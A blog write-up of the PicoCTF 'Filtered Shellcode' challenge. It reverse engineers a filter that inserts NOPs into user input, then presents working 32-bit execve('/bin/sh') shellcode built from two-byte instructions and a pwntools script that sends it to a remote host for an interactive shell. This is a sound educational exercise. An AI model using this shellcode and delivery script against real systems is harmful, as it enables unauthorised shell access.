PicoCTF - Filtered Shellcode [Pwn]

Massimiliano Pellizzer
4 min readJul 16, 2021

Introduction

“Filtered Shellcode” is a pwn challenge of PicoCTF.

First Considerations

The first thing I did in order to tackle the challenge was to gather some general information about the binary provided by PicoCTF.

General information about the program and its security measures

It is possible to notice that the program is a 32-bit ELF executable that does not employ any relevant security measure.

Then, I executed the binary, in order to see (from a standard user point of view) what the program does.

Standard execution of the program

The program asked me to insert some code to run and then a segmentation fault occurred. My hypothesis was that the program required some commands to execute (in binary form) as input, it applied some filtering technique to the given input (because of the name of the challenge), and it tried to execute the output of the filtering phase.

Reverse Engineering

In order to understand better how the program filtered the input, I tried to analyze it statically by using Ghidra.

The main function simply takes a string as input, character by character, and then it calls the execute function, where the trouble began.

void execute(char *buffer,int buffer_length){
int iVar1;
int temp;
int zero;
undefined4 notRelevant;
byte *esp;
undefined *newBuffer2;
char *newBuffer1;
int notUsed;
int double_length;
int i;
int j;
int old_i;

notRelevant = 0x8048502;
if ((buffer != (char *)0x0) && (buffer_length != 0)) {
double_length = buffer_length * 2;
notUsed = double_length;
temp = (double_length + 16U) / 16;
iVar1 = temp * -16;
newBuffer1 = (char *)(&esp + temp * -4);
i = 0;
for (j = 0; old_i = i, (uint)j < (uint)double_length; j = j + 1) {
zero = (uint)(j >> 31) >> 30;
if ((int)((j + zero & 3U) - zero) < 2) {
i = i + 1;
*(char *)((int)&esp + j + iVar1) = buffer[old_i];
}
else {
*(undefined *)((int)&esp + j + iVar1) = 0x90;
}
}
*(undefined *)((int)&esp + double_length + iVar1) = 0xc3;
newBuffer2 = (undefined *)(&esp + temp * -4);
(&notRelevant)[temp * -4] = 0x80485cb;
(*(code *)(&esp + temp * -4))();
return;
}
exit(1);
}

Reversing this function was really annoying because it does a lot of useless stuff. In practice, what this function does is to take the input of the user, inserting nops every two bytes, and then it executes the modified input.

I was able to confirm this behavior by performing some dynamic analysis with GDB.

My original input “AAAABBBBCCCCDDDD”
Filtered input

Extra

Just for fun I implemented a C program that emulates the type of filtering used in the challenge:

#include <stdio.h>
#include <stdlib.h>
void filter(char* buffer, int buffer_length, char* newBuffer);int main(int argc, char** argv)
{
char shellcode[1000];
char filtered_shellcode[2000];
int temp;
char character;
int i;
printf("Insert the shellcode: ");
temp = fgetc(stdin);
character = (char)temp;
i = 0;
while(character!='\n' && i<999)
{
shellcode[i] = character;
temp = fgetc(stdin);
character = (char)temp;
i++;
}
shellcode[i] = '\0';
filter(shellcode, i, filtered_shellcode);
printf("The filtered shellcode is the following one: %s", filtered_shellcode);
}void filter(char* buffer, int buffer_length, char* newBuffer)
{
int double_length;
int i;
int j;
if(buffer!=NULL && buffer_length!=0)
{
double_length = buffer_length*2;
i = 0;
for(j=0; j<double_length; j++)
{
if((j & 3) < 2)
{
newBuffer[j] = buffer[i];
i++;
}
else
{
newBuffer[j] = 0x90;
}
}
newBuffer[j] = '\0';
}
}

Shellcode

Given the filtering applied to the user input, the only possible way to solve the challenge was to use only 2-bytes long instructions. This forced me to use a lot shl operations in order to push the string “/bin/sh” on the stack.

The shellcode I wrote was the following one:

/*Put the syscall number of execve in eax*/
xor eax, eax
mov al, 0xb
/*Put zero in ecx and edx*/
xor ecx, ecx
xor edx, edx
/*Push "/sh\x00" on the stack*/
xor ebx, ebx
mov bl, 0x68
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x73
mov bl, 0x2f
push ebx
nop
/*Push "/bin" on the stack*/
mov bh, 0x6e
mov bl, 0x69
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x62
mov bl, 0x2f
push ebx
nop
/*Move the esp (that points to "/bin/sh\x00") in ebx*/
mov ebx, esp
/*Syscall*/
int 0x80

After I wrote the assembly, I translated the shellcode to its binary form by using the following website.

Exploitation

The “difficult” part of the challenge was to write a shellcode able to get the job done. The scripts that sends it is very simple and it does not need any explanation:

#!/bin/python3from pwn import *HOST = <host>
PORT = <port>
r = remote(HOST, PORT)r.recvuntil(b'Give me code to run:\n')payload = b'\x31\xC0\xB0\x0B\x31\xC9\x31\xD2\x31\xDB\xB3\x68\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xB7\x73\xB3\x2F\x53\x90\xB7\x6E\xB3\x69\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xB7\x62\xB3\x2F\x53\x90\x89\xE3\xCD\x80'r.sendline(payload)r.interactive()

The script worked as expected:

Flag

Pwned!

--

--

Massimiliano Pellizzer

My journey starts with a passion for cybersecurity and has evolved into an interest in operating systems and system-level programming.